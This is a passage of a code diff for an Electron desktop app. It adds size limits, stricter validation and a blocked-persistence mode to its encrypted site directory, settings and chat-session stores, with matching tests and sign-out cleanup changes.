hostname: 'github.com', name: 'GitHub' }]) + expect((await stat(path)).size).toBe(16 * 1024 * 1024 + 1) + + await store.clear() + await store.remember([{ hostname: 'github.com', name: 'GitHub' }]) + expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }]) + }) + + it('blocks stored site records with invalid field values', async () => { + const payload = [{ hostname: 'github.com', visits: -1 }] + const original = JSON.stringify({ + version: 2, + payload: encryption.encryptString(JSON.stringify(payload)).toString('base64'), + }) + await writeFile(path, original) + const store = open() + + expect(await store.list()).toEqual([]) + await store.remember([{ hostname: 'linear.app', name: 'Linear' }]) + expect(await readFile(path, 'utf8')).toBe(original) }) it('skips an entry with no hostname to key it by', async () => { diff --git a/apps/desktop/src/main/browser-sites/directory.ts b/apps/desktop/src/main/browser-sites/directory.ts index ba135bb2836..994b5e79585 100644 --- a/apps/desktop/src/main/browser-sites/directory.ts +++ b/apps/desktop/src/main/browser-sites/directory.ts @@ -1,6 +1,11 @@ -import { readFile } from 'node:fs/promises' +import { createLogger } from '@sim/logger' import { safeStorage } from 'electron' -import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file' +import { + FileResourceLimitError, + readFileWithinLimit, + removeFileIfPresent, + writeJsonFileAtomically, +} from '@/main/atomic-json-file' /** * What the sites brought over from another browser are called, and what they @@ -30,6 +35,13 @@ import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json * trade for a cache of someone else's data that is now user-visible. */ const DIRECTORY_VERSION = 2 +const MAX_DIRECTORY_FILE_BYTES = 16 * 1024 * 1024 +const MAX_DIRECTORY_PAYLOAD_BYTES = 10 * 1024 * 1024 +const MAX_SITE_HOSTNAME_LENGTH = 253 +const MAX_SITE_NAME_LENGTH = 512 +const MAX_SITE_ICON_LENGTH = 512 * 1024 +const MAX_SITE_TIMESTAMP_LENGTH = 64 +const logger = createLogger('BrowserSiteDirectory') /** * Hosts kept across all imports. Bounded because every record can carry an @@ -69,11 +81,24 @@ interface EncryptedDirectoryEnvelope { } function isSiteRecord(value: unknown): value is SiteRecord { + if (!value || typeof value !== 'object' || Array.isArray(value)) return false + const record = value as Record return ( - typeof value === 'object' && - value !== null && - typeof (value as SiteRecord).hostname === 'string' && - (value as SiteRecord).hostname !== '' + typeof record.hostname === 'string' && + record.hostname.length > 0 && + record.hostname.length <= MAX_SITE_HOSTNAME_LENGTH && + (record.name === undefined || + (typeof record.name === 'string' && record.name.length <= MAX_SITE_NAME_LENGTH)) && + (record.icon === undefined || + (typeof record.icon === 'string' && record.icon.length <= MAX_SITE_ICON_LENGTH)) && + (record.visits === undefined || + (typeof record.visits === 'number' && + Number.isSafeInteger(record.visits) && + record.visits >= 0)) && + (record.importedAt === undefined || + (typeof record.importedAt === 'string' && + record.importedAt.length <= MAX_SITE_TIMESTAMP_LENGTH && + Number.isFinite(Date.parse(record.importedAt)))) ) } @@ -111,6 +136,9 @@ interface EncryptionProvider { } export class SiteDirectory { + private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown' + private mutationTail = Promise.resolve() + constructor( private readonly filePath: string, private readonly encryption: EncryptionProvider = safeStorage @@ -123,7 +151,7 @@ export class SiteDirectory { */ isAvailable(): boolean { try { - return this.encryption.isEncryptionAvailable() + return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable() } catch { return false } @@ -132,32 +160,75 @@ export class SiteDirectory { private async read(): Promise { if (!this.isAvailable()) return [] try { - const raw = await readFile(this.filePath) + const raw = await readFileWithinLimit(this.filePath, MAX_DIRECTORY_FILE_BYTES) const envelope = JSON.parse(raw.toString('utf8')) as EncryptedDirectoryEnvelope - if (envelope.version !== DIRECTORY_VERSION) return [] + const isLegacyEnvelope = + envelope.version === 1 && + typeof envelope.payload === 'string' && + Object.keys(envelope).length === 2 + if ( + (!isLegacyEnvelope && envelope.version !== DIRECTORY_VERSION) || + typeof envelope.payload !== 'string' + ) { + this.blockPersistence('invalid-envelope') + return [] + } const decrypted = this.encryption.decryptString(Buffer.from(envelope.payload, 'base64')) - const records = JSON.parse(decrypted) as SiteRecord[] - // Per-record, not just per-array: everything downstream sorts and merges - // on `hostname`, so one entry without it is a TypeError in the middle of - // an import rather than a record that is quietly skipped. - return Array.isArray(records) ? records.filter(isSiteRecord) : [] - } catch { - // A missing, truncated, or foreign-keyed file reads as empty rather than - // taking the omnibox down with it. + if (Buffer.byteLength(decrypted, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) { + this.blockPersistence('resource-limit') + return [] + } + const records = JSON.parse(decrypted) as unknown + if (!Array.isArray(records) || records.length > MAX_SITES || !records.every(isSiteRecord)) { + this.blockPersistence('invalid-payload') + return [] + } + this.persistenceState = 'writable' + return isLegacyEnvelope ? [] : records + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + this.persistenceState = 'writable' + return [] + } + if (error instanceof FileResourceLimitError) { + this.blockPersistence('resource-limit') + return [] + } + this.blockPersistence('read-failed') return [] } } + private blockPersistence( + reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit' + ): void { + if (this.persistenceState !== 'blocked') { + logger.warn('Browser site directory persistence is unavailable', { reason }) + } + this.persistenceState = 'blocked' + } + private async write(records: SiteRecord[]): Promise { if (!this.isAvailable()) return false + const payload = JSON.stringify(records) + if (Buffer.byteLength(payload, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) return false const envelope: EncryptedDirectoryEnvelope = { version: DIRECTORY_VERSION, - payload: this.encryption.encryptString(JSON.stringify(records)).toString('base64'), + payload: this.encryption.encryptString(payload).toString('base64'), } await writeJsonFileAtomically(this.filePath, envelope) return true } + private enqueueMutation(operation: () => Promise): Promise { + const result = this.mutationTail.then(operation) + this.mutationTail = result.then( + () => undefined, + () => undefined + ) + return result + } + async list(): Promise { return this.read() } @@ -170,28 +241,34 @@ export class SiteDirectory { * importing a second profile should add to what the browser knows, not * strip the first profile's sites of their names. */ - async remember(records: readonly SiteRecord[]): Promise { - if (records.length === 0 || !this.isAvailable()) return - const merged = new Map() - for (const existing of await this.read()) merged.set(existing.hostname, existing) - for (const incoming of records) { - if (!incoming.hostname) continue - const existing = merged.get(incoming.hostname) - merged.set(incoming.hostname, { - hostname: incoming.hostname, - name: incoming.name ?? existing?.name, - icon: incoming.icon ?? existing?.icon, - // The most-used of the profiles a host was seen in wins, so re-importing - // a profile that barely touches a site cannot demote it. - visits: maxDefined(incoming.visits, existing?.visits), - importedAt: incoming.importedAt ?? existing?.importedAt, - }) - } - await this.write(evictExcess([...merged.values()])) + remember(records: readonly SiteRecord[]): Promise { + if (records.length === 0) return Promise.resolve() + return this.enqueueMutation(async () => { + if (!this.isAvailable()) return + const merged = new Map() + for (const existing of await this.read()) merged.set(existing.hostname, existing) + for (const incoming of records) { + if (!isSiteRecord(incoming)) continue + const existing = merged.get(incoming.hostname) + merged.set(incoming.hostname, { + hostname: incoming.hostname, + name: incoming.name ?? existing?.name, + icon: incoming.icon ?? existing?.icon, + // The most-used of the profiles a host was seen in wins, so re-importing + // a profile that barely touches a site cannot demote it. + visits: maxDefined(incoming.visits, existing?.visits), + importedAt: incoming.importedAt ?? existing?.importedAt, + }) + } + await this.write(evictExcess([...merged.values()])) + }) } /** Forgets every site. Runs with the rest of the browser teardown. */ - async clear(): Promise { - await removeFileIfPresent(this.filePath) + clear(): Promise { + return this.enqueueMutation(async () => { + await removeFileIfPresent(this.filePath) + this.persistenceState = 'writable' + }) } } diff --git a/apps/desktop/src/main/config.test.ts b/apps/desktop/src/main/config.test.ts index ed60924a261..41df6dae8b4 100644 --- a/apps/desktop/src/main/config.test.ts +++ b/apps/desktop/src/main/config.test.ts @@ -1,6 +1,6 @@ -import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs' +import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' -import { join } from 'node:path' +import { dirname, join } from 'node:path' import { describe, expect, it } from 'vitest' import { APP_NAME_FOR_CHANNEL, @@ -180,23 +180,58 @@ describe('createConfigStore', () => { expect(reloaded.getOrigin()).toBe('https://www.sim.ai') }) - it('recovers from a corrupted settings file', () => { + it('uses safe defaults until an explicit server choice replaces the corrupt file', () => { const filePath = tempSettingsPath() - writeFileSync(filePath, '{not json') + const original = '{not json' + writeFileSync(filePath, original) const store = createConfigStore(filePath, {}) + + expect(store.isPersistenceAvailable()).toBe(false) expect(store.getOrigin()).toBe(DEFAULT_ORIGIN) + store.set('zoomLevel', 1.5) + store.flush() + expect(readFileSync(filePath, 'utf8')).toBe(original) + + expect(store.setOrigin('https://self-hosted.example')).toEqual({ + ok: true, + origin: 'https://self-hosted.example', + }) + expect(store.isPersistenceAvailable()).toBe(true) + expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://self-hosted.example') + const settingsDirectory = dirname(filePath) + const backups = readdirSync(settingsDirectory).filter((name) => name.includes('.corrupt-')) + expect(backups).toHaveLength(0) }) - it('falls back to the default origin when the stored origin is invalid', () => { + it('does not carry settings across an invalid stored origin or retain them after repair', () => { const filePath = tempSettingsPath() - writeFileSync(filePath, JSON.stringify({ origin: 'http://evil.example' })) + const original = JSON.stringify({ + origin: 'http://evil.example', + browserKnownSites: [{ hostname: 'private.example', lastVisitedAt: '2026-01-01' }], + browserDownloadDirectory: '/private/downloads', + }) + writeFileSync(filePath, original) const store = createConfigStore(filePath, {}) + + expect(store.isPersistenceAvailable()).toBe(false) expect(store.getOrigin()).toBe(DEFAULT_ORIGIN) + expect(store.get('browserKnownSites')).toBeUndefined() + expect(store.get('browserDownloadDirectory')).toBeUndefined() + store.set('zoomLevel', 2) + store.flush() + expect(readFileSync(filePath, 'utf8')).toBe(original) + + expect(store.setOrigin('https://self-hosted.example').ok).toBe(true) + const repaired = JSON.parse(readFileSync(filePath, 'utf8')) + expect(repaired.browserKnownSites).toBeUndefined() + expect(repaired.browserDownloadDirectory).toBeUndefined() + expect(readFileSync(filePath, 'utf8')).not.toContain('private.example') }) it('honors a valid SIM_DESKTOP_ORIGIN override without persisting it', () => { const filePath = tempSettingsPath() const store = createConfigStore(filePath, { SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:4600' }) + expect(store.isPersistenceAvailable()).toBe(true) expect(store.getOrigin()).toBe('http://127.0.0.1:4600') store.set('zoomLevel', 1) store.flush() @@ -236,6 +271,33 @@ describe('createConfigStore', () => { expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://sim.example.com') }) + it('keeps the active origin unchanged when its immediate write fails', () => { + const filePath = tempSettingsPath() + const parent = dirname(filePath) + const store = createConfigStore(filePath, {}) + rmSync(parent, { recursive: true }) + writeFileSync(parent, 'not a directory') + + try { + expect(store.setOrigin('https://sim.example.com')).toEqual({ + ok: false, + error: 'Could not save the desktop settings file', + }) + expect(store.getOrigin()).toBe(DEFAULT_ORIGIN) + expect(store.isPersistenceAvailable()).toBe(false) + + rmSync(parent) + mkdirSync(parent) + expect(store.setOrigin('https://sim.example.com')).toEqual({ + ok: true, + origin: 'https://sim.example.com', + }) + expect(store.isPersistenceAvailable()).toBe(true) + } finally { + rmSync(parent, { recursive: true, force: true }) + } + }) + it('ignores an invalid SIM_DESKTOP_ORIGIN override', () => { const store = createConfigStore(tempSettingsPath(), { SIM_DESKTOP_ORIGIN: 'http://evil.example', diff --git a/apps/desktop/src/main/config.ts b/apps/desktop/src/main/config.ts index 14ce4b00f8d..30c00528b10 100644 --- a/apps/desktop/src/main/config.ts +++ b/apps/desktop/src/main/config.ts @@ -240,12 +240,13 @@ const DEFAULT_SETTINGS: DesktopSettings = { export interface ConfigStore { readonly filePath: string + isPersistenceAvailable(): boolean getOrigin(): string setOrigin(origin: string): OriginValidation get(key: K): DesktopSettings[K] set(key: K, value: DesktopSettings[K]): void - /** Writes any debounced change immediately. Called on quit. */ - flush(): void + /** Writes any debounced change immediately and reports whether persistence is healthy. */ + flush(): boolean } /** @@ -277,21 +278,38 @@ export function createConfigStore( ): ConfigStore { let settings: DesktopSettings = { ...DEFAULT_SETTINGS } let rewroteOrigin = false + let persistenceBlocked = false try { - const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as Partial - settings = { ...DEFAULT_SETTINGS, ...parsed } - const validated = validateOriginInput(settings.origin) - const loaded = validated.ok ? validated.origin : DEFAULT_ORIGIN - settings.origin = canonicalOrigin(loaded) - rewroteOrigin = settings.origin !== loaded - if (rewroteOrigin) { - logger.info('Rewrote stored server origin to its canonical form', { - from: loaded, - to: settings.origin, - }) + const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as unknown + if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { + persistenceBlocked = true + } else { + const loadedSettings = { ...DEFAULT_SETTINGS, ...(parsed as Partial) } + const validated = validateOriginInput(loadedSettings.origin) + if (!validated.ok) { + persistenceBlocked = true + } else { + const loaded = validated.origin + settings = loadedSettings + settings.origin = canonicalOrigin(loaded) + rewroteOrigin = settings.origin !== loaded + if (rewroteOrigin) { + logger.info('Rewrote stored server origin to its canonical form', { + from: loaded, + to: settings.origin, + }) + } + } } - } catch { + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') { + persistenceBlocked = true + } + } + if (persistenceBlocked) { settings = { ...DEFAULT_SETTINGS } + rewroteOrigin = false + logger.warn('Desktop settings persistence is unavailable because the existing file is invalid') } const envOverride = env.SIM_DESKTOP_ORIGIN ? validateOriginInput(env.SIM_DESKTOP_ORIGIN) : null @@ -302,13 +320,17 @@ export function createConfigStore( let saveTimer: ReturnType | null = null /** Writes the whole file now and cancels any pending debounced write. */ - const writeNow = () => { + const writeNow = (): boolean => { if (saveTimer) clearTimeout(saveTimer) saveTimer = null + if (persistenceBlocked) return false try { writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT) + return true } catch (error) { + persistenceBlocked = true logger.error('Failed to persist desktop settings', { error }) + return false } } @@ -322,7 +344,7 @@ export function createConfigStore( * not were paying a full fsync per event. */ const save = () => { - if (saveTimer) return + if (persistenceBlocked || saveTimer) return saveTimer = setTimeout(writeNow, SAVE_DEBOUNCE_MS) saveTimer.unref?.() } @@ -337,6 +359,9 @@ export function createConfigStore( return { filePath, + isPersistenceAvailable() { + return !persistenceBlocked + }, getOrigin() { if (envOverride?.ok) { return envOverride.origin @@ -355,17 +380,35 @@ export function createConfigStore( // only repairs it on the next launch. The canonical origin is also // returned so the caller sees what was actually stored. const origin = canonicalOrigin(validated.origin) + if (persistenceBlocked) { + const previousOrigin = settings.origin + try { + settings.origin = origin + writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT) + persistenceBlocked = false + logger.warn('Recovered desktop settings persistence') + return { ok: true, origin } + } catch (error) { + settings.origin = previousOrigin + logger.error('Could not recover invalid desktop settings', { error }) + return { ok: false, error: 'Could not repair the desktop settings file' } + } + } // Re-confirming the origin already stored is the common case in the // server picker, and setOrigin's write is a synchronous mkdir + whole-file // write + rename on the main thread. There is nothing to persist. if (origin === settings.origin) { return { ok: true, origin } } + const previousOrigin = settings.origin settings.origin = origin // Not debounced: changing the origin tears the session down and // reloads, so a pending write could be lost on the way out — and this // is the one setting whose loss strands the app on the wrong server. - writeNow() + if (!writeNow()) { + settings.origin = previousOrigin + return { ok: false, error: 'Could not save the desktop settings file' } + } return { ok: true, origin } }, get(key) { @@ -383,8 +426,7 @@ export function createConfigStore( save() }, flush() { - if (!saveTimer) return - writeNow() + return saveTimer ? writeNow() : !persistenceBlocked }, } } diff --git a/apps/desktop/src/main/desktop-chat-session-store.test.ts b/apps/desktop/src/main/desktop-chat-session-store.test.ts index f6dcf749856..094ab4484e9 100644 --- a/apps/desktop/src/main/desktop-chat-session-store.test.ts +++ b/apps/desktop/src/main/desktop-chat-session-store.test.ts @@ -1,4 +1,12 @@ -import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs' +import { + existsSync, + mkdtempSync, + readFileSync, + rmSync, + statSync, + truncateSync, + writeFileSync, +} from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -121,6 +129,38 @@ describe('DesktopChatSessionStore', () => { expect(statSync(filePath).mode & 0o077).toBe(0) }) + it('does not replace the durable store with an oversized encrypted envelope', () => { + const provider = encryption() + const store = open(provider) + store.setTerminal(ORIGIN, 'chat-existing', TERMINAL) + expect(store.flush()).toBe(true) + const existing = readFileSync(filePath, 'utf8') + + vi.mocked(provider.encryptString).mockReturnValueOnce(Buffer.alloc(8 * 1024 * 1024)) + store.setTerminal(ORIGIN, 'chat-new', TERMINAL) + + expect(store.flush()).toBe(false) + expect(readFileSync(filePath, 'utf8')).toBe(existing) + + expect(store.flush()).toBe(true) + expect(readFileSync(filePath, 'utf8')).not.toBe(existing) + }) + + it('preserves an oversized store until explicit clear resets persistence', () => { + writeFileSync(filePath, '') + truncateSync(filePath, 10 * 1024 * 1024 + 1) + const store = open(encryption()) + + expect(store.initialize()).toBe(false) + store.setTerminal(ORIGIN, 'chat-new', TERMINAL) + expect(store.flush()).toBe(false) + expect(statSync(filePath).size).toBe(10 * 1024 * 1024 + 1) + + store.clear() + store.setTerminal(ORIGIN, 'chat-new', TERMINAL) + expect(store.flush()).toBe(true) + }) + it('keeps a pending chat in memory until migration promotes it to a durable chat id', () => { const provider = encryption() const pending = open(provider) @@ -245,6 +285,28 @@ describe('DesktopChatSessionStore', () => { expect(terminal?.activeIndex).toBe(11) }) + it('bounds persisted browser tabs while retaining pinned and active entries', () => { + const store = open() + const tabs = Array.from({ length: 40 }, (_, index) => ({ + url: `https://tab-${index}.example/`, + pinned: index < 4, + })) + + expect( + store.setBrowser(ORIGIN, 'chat-bounded', { + v: 1, + tabs, + activeIndex: tabs.length - 1, + downloads: [], + }) + ).toBe(true) + + const snapshot = store.getBrowser(ORIGIN, 'chat-bounded') + expect(snapshot?.tabs).toHaveLength(32) + expect(snapshot?.tabs.filter((tab) => tab.pinned)).toHaveLength(4) + expect(snapshot?.tabs[snapshot.activeIndex]?.url).toBe('https://tab-39.example/') + }) + it('filters unsafe or malformed values while loading an encrypted payload', () => { const provider = encryption() writeEncryptedPayload(provider, { diff --git a/apps/desktop/src/main/desktop-chat-session-store.ts b/apps/desktop/src/main/desktop-chat-session-store.ts index 4ae7430def9..71b3b663a25 100644 --- a/apps/desktop/src/main/desktop-chat-session-store.ts +++ b/apps/desktop/src/main/desktop-chat-session-store.ts @@ -1,13 +1,15 @@ -import { readFileSync, unlinkSync } from 'node:fs' +import { unlinkSync } from 'node:fs' import { isAbsolute } from 'node:path' import { isDesktopScopeId, isPendingDesktopScopeId } from '@sim/desktop-bridge' import { isRecordLike } from '@sim/utils/object' import { safeStorage } from 'electron' -import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file' +import { readFileWithinLimitSync, writeJsonFileAtomicallySync } from '@/main/atomic-json-file' const STORE_VERSION = 1 const SNAPSHOT_VERSION = 1 const MAX_DURABLE_ENTRIES = 100 +const MAX_STORE_BYTES = 10 * 1024 * 1024 +const MAX_BROWSER_TABS = 32 const MAX_ORIGIN_LENGTH = 2_048 const MAX_URL_LENGTH = 8_192 const MAX_CWD_LENGTH = 4_096 @@ -141,13 +143,54 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null return null } - const tabs: BrowserSessionSnapshot['tabs'] = [] - for (const candidate of value.tabs) { + const requestedActiveIndex = + typeof value.activeIndex === 'number' && Number.isInteger(value.activeIndex) + ? value.activeIndex + : 0 + const activeSourceIndex = + requestedActiveIndex >= 0 && requestedActiveIndex < value.tabs.length + ? requestedActiveIndex + : null + const selectedTabs: Array<{ + tab: BrowserSessionSnapshot['tabs'][number] + sourceIndex: number + }> = [] + const replaceableTabIndex = (): number => { + for (let index = selectedTabs.length - 1; index >= 0; index--) { + const entry = selectedTabs[index] + if (entry.sourceIndex !== activeSourceIndex && !entry.tab.pinned) return index + } + return -1 + } + for (let sourceIndex = 0; sourceIndex < value.tabs.length; sourceIndex++) { + const candidate = value.tabs[sourceIndex] if (!isRecordLike(candidate) || typeof candidate.pinned !== 'boolean') continue const url = normalizeBrowserUrl(candidate.url) if (url === null) continue - tabs.push({ url, pinned: candidate.pinned }) + const next = { tab: { url, pinned: candidate.pinned }, sourceIndex } + if (selectedTabs.length < MAX_BROWSER_TABS) { + selectedTabs.push(next) + continue + } + if (sourceIndex === activeSourceIndex) { + const replacementIndex = replaceableTabIndex() + selectedTabs[replacementIndex >= 0 ? replacementIndex : selectedTabs.length - 1] = next + continue + } + if (candidate.pinned) { + const replacementIndex = replaceableTabIndex() + if (replacementIndex >= 0) selectedTabs[replacementIndex] = next + } } + selectedTabs.sort((left, right) => left.sourceIndex - right.sourceIndex) + const tabs = selectedTabs.map(({ tab }) => tab) + const selectedActiveIndex = selectedTabs.findIndex( + ({ sourceIndex }) => sourceIndex === activeSourceIndex + ) + const activeIndex = + selectedActiveIndex >= 0 + ? selectedActiveIndex + : normalizeActiveIndex(requestedActiveIndex, tabs.length) const downloads: BrowserSessionSnapshot['downloads'] = [] for (const candidate of value.downloads) { @@ -193,7 +236,7 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null return { v: SNAPSHOT_VERSION, tabs, - activeIndex: normalizeActiveIndex(value.activeIndex, tabs.length), + activeIndex, downloads, } } @@ -275,7 +318,9 @@ export class DesktopChatSessionStore { if (!this.isAvailable()) return false try { - const envelope = JSON.parse(readFileSync(this.filePath, 'utf8')) as unknown + const envelope = JSON.parse( + readFileWithinLimitSync(this.filePath, MAX_STORE_BYTES).toString('utf8') + ) as unknown if ( !isRecordLike(envelope) || envelope.v !== STORE_VERSION || @@ -297,19 +342,20 @@ export class DesktopChatSessionStore { const loaded: SessionEntry[] = [] for (const candidate of payload.entries) { const entry = this.normalizeEntry(candidate) - if (entry && isDurableScope(entry.scope)) loaded.push(entry) + if (!entry || !isDurableScope(entry.scope)) continue + loaded.push(entry) + loaded.sort( + (left, right) => + right.lastAccessedAt - left.lastAccessedAt || + keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope)) + ) + if (loaded.length > MAX_DURABLE_ENTRIES) loaded.pop() } - loaded.sort( - (left, right) => - right.lastAccessedAt - left.lastAccessedAt || - keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope)) - ) - for (const [key, entry] of this.entries) { if (isDurableScope(entry.scope)) this.entries.delete(key) } - for (const entry of loaded.slice(0, MAX_DURABLE_ENTRIES)) { + for (const entry of loaded) { this.entries.set(keyFor(entry.origin, entry.scope), entry) this.accessClock = Math.max(this.accessClock, entry.lastAccessedAt) } @@ -496,6 +542,7 @@ export class DesktopChatSessionStore { v: STORE_VERSION, ciphertext: this.encryption.encryptString(JSON.stringify(payload)).toString('base64'), } + if (Buffer.byteLength(JSON.stringify(envelope), 'utf8') > MAX_STORE_BYTES) return false writeJsonFileAtomicallySync(this.filePath, envelope) this.dirty = false return true diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts index 8af9f55d550..539c2329a5a 100644 --- a/apps/desktop/src/main/index.ts +++ b/apps/desktop/src/main/index.ts @@ -1,8 +1,19 @@ -import { join } from 'node:path' +import { join, resolve } from 'node:path' import { createLogger } from '@sim/logger' import { getErrorMessage } from '@sim/utils/errors' import type { OpenDialogOptions, Session, WebContents } from 'electron' -import { app, BrowserWindow, crashReporter, dialog, net, session } from 'electron' +import { app, BrowserWindow, crashReporter, dialog, net, session, shell } from 'electron' +import { + beginAccountDataTeardown, + completeDeploymentScopedTeardown, + getAccountDataTeardownKind, + getAccountDataTeardownOrigin, + initializeAccountDataRecovery, + isAccountDataTeardownRequired, + prepareAccountDataTeardownForQuit, + retryAccountDataTeardown, + waitForAccountDataMutations, +} from '@/main/account-data-generation' import { newChatRoute, settingsRoute } from '@/main/app-routes' import { activateBrowserScope as activateAgentBrowserScope, @@ -48,11 +59,12 @@ import { LocalFilesystemService } from '@/main/local-filesystem' import { createEncryptedLocalFilesystemGrantStore } from '@/main/local-filesystem-grant-store' import { installApplicationMenu } from '@/main/menu' import { openExternalSafe } from '@/main/navigation' -import { createEventLog } from '@/main/observability' +import { createEventLog, installMainProcessFailureObservers } from '@/main/observability' import { ScopedEventRouter } from '@/main/scoped-event-router' import { installGlobalGuards } from '@/main/security-guards' import { createServerWindow, relaunchApp } from '@/main/server-window' import { + canRevokeIn, createSessionLifecycleCoordinator, decideStartRoute, handleConnectIntercept, @@ -72,7 +84,8 @@ const logger = createLogger('DesktopMain') * Backstop for the sign-in flows, which are dispatched fire-and-forget from a * loopback callback and a navigation guard. The flows record their own expected * failures; this catches anything they do not, so a rejection cannot surface as - * an unhandled one — main registers no `unhandledRejection` handler. + * an unhandled one — the process-level observer is a last-resort restart path, + * not routine control flow. */ function reportHandoffFailure(error: unknown): void { logger.error('Sign-in handoff failed', { error: getErrorMessage(error) }) @@ -90,20 +103,30 @@ const DOCK_ICON_FOR_CHANNEL = { function main(): void { app.enableSandbox() - const config = createConfigStore(join(app.getPath('userData'), 'settings.json')) - const events = createEventLog(join(app.getPath('userData'), 'logs')) + const userDataPath = app.getPath('userData') + const config = createConfigStore(join(userDataPath, 'settings.json')) + initializeAccountDataRecovery(join(userDataPath, 'account-data-teardown-required.json')) + const recoveryOrigin = getAccountDataTeardownOrigin() + if (isAccountDataTeardownRequired() && recoveryOrigin && !config.isPersistenceAvailable()) { + const repaired = config.setOrigin(recoveryOrigin) + if (!repaired.ok) { + logger.error('Could not repair desktop settings for account-data recovery') + } + } + const accountDataAvailable = () => + config.isPersistenceAvailable() && !isAccountDataTeardownRequired() + const events = createEventLog(join(userDataPath, 'logs')) const appOrigin = () => config.getOrigin() + /** Resource snapshots stay with the deployment that created this process. */ + const processOrigin = appOrigin() + const recoveryPartition = `sim-settings-recovery-${process.pid}` + const appPartition = (origin = appOrigin()) => + accountDataAvailable() ? partitionForOrigin(origin) : recoveryPartition const desktopChatSessions = new DesktopChatSessionStore( - join(app.getPath('userData'), 'desktop-chat-sessions.json') + join(userDataPath, 'desktop-chat-sessions.json') ) const clearDesktopChatSessions = (): void => { - try { - desktopChatSessions.clear() - } catch (error) { - logger.error('Could not clear encrypted task resource state', { - error: getErrorMessage(error), - }) - } + desktopChatSessions.clear() } const flushDesktopChatSessions = (phase: 'before-quit' | 'will-quit'): void => { if (!desktopChatSessions.flush()) { @@ -112,17 +135,17 @@ function main(): void { } const localFilesystem = new LocalFilesystemService({ grantStore: createEncryptedLocalFilesystemGrantStore( - join(app.getPath('userData'), 'local-filesystem-grants.json') + join(userDataPath, 'local-filesystem-grants.json') ), }) const scopeEvents = new ScopedEventRouter() const terminal = new TerminalRegistry({ - load: (scopeId) => desktopChatSessions.getTerminal(appOrigin(), scopeId) ?? undefined, - save: (scopeId, snapshot) => desktopChatSessions.setTerminal(appOrigin(), scopeId, snapshot), + load: (scopeId) => desktopChatSessions.getTerminal(processOrigin, scopeId) ?? undefined, + save: (scopeId, snapshot) => desktopChatSessions.setTerminal(processOrigin, scopeId, snapshot), migrate: (fromScopeId, toScopeId) => - desktopChatSessions.migrateTerminal(appOrigin(), fromScopeId, toScopeId), + desktopChatSessions.migrateTerminal(processOrigin, fromScopeId, toScopeId), disposeScope: (scopeId) => { - desktopChatSessions.deleteScope(appOrigin(), scopeId) + desktopChatSessions.deleteScope(processOrigin, scopeId) }, }) const preloadPath = join(__dirname, 'preload.cjs') @@ -133,8 +156,11 @@ function main(): void { let ensureWindowCreation: Promise | null = null let appSession: Session | null = null let sessionLifecycle: ReturnType | null = null + let resumingQuitAfterTeardown = false + let mandatoryRelaunchPending = false let tray: TrayHandle | null = null let updater: UpdaterHandle | null = null + let startupReady: Promise | null = null const configuredPartitions = new Set() const allowHttpLocalhost = () => !app.isPackaged || appOrigin().startsWith('http://') @@ -149,6 +175,7 @@ function main(): void { } return getWindows().at(-1) ?? null } + installMainProcessFailureObservers({ events, getWindow: getMainWindow }) const windowForContents = (contents: WebContents) => { const win = BrowserWindow.fromWebContents(contents) return win && windows.has(win) && !win.isDestroyed() ? win : null @@ -225,7 +252,7 @@ function main(): void { }) function configureSessionForOrigin(origin: string) { - const partition = partitionForOrigin(origin) + const partition = appPartition(origin) const ses = session.fromPartition(partition) if (configuredPartitions.has(partition)) { return ses @@ -249,41 +276,58 @@ function main(): void { events, getWindows, clearHandoffState: async () => { - try { - handoff.clear() - } catch (error) { - logger.error('Could not clear sign-in handoff state', { error: getErrorMessage(error) }) - } - try { - tray?.clearRecentChats() - } catch (error) { - logger.error('Could not clear recent tasks', { error: getErrorMessage(error) }) - } - // Shells are account-scoped runtime state. Leaving them alive across - // sign-out would stream the previous account's output into the next - // renderer and keep its local processes running invisibly. - try { - terminal.dispose() - } catch (error) { - logger.error('Could not stop account terminal sessions', { - error: getErrorMessage(error), - }) - } - clearDesktopChatSessions() - await localFilesystem.forgetAll().catch((error) => { - logger.error('Could not clear local filesystem grants', { - error: getErrorMessage(error), + const stores = [ + { label: 'sign-in handoff state', clear: () => handoff.clear() }, + { label: 'recent tasks', clear: () => tray?.clearRecentChats() }, + { + label: 'renderer session state', + clear: () => + Promise.all( + getWindows() + .filter((win) => canRevokeIn(win, appOrigin())) + .map((win) => + win.webContents.executeJavaScript( + `(() => { sessionStorage.clear(); window.name = '' })()`, + true + ) + ) + ).then(() => undefined), + }, + // Shells are account-scoped runtime state. Leaving them alive across + // sign-out would stream the previous account's output into the next + // renderer and keep its local processes running invisibly. + { label: 'terminal sessions', clear: () => terminal.dispose() }, + { label: 'task resource state', clear: clearDesktopChatSessions }, + { label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() }, + ] + const 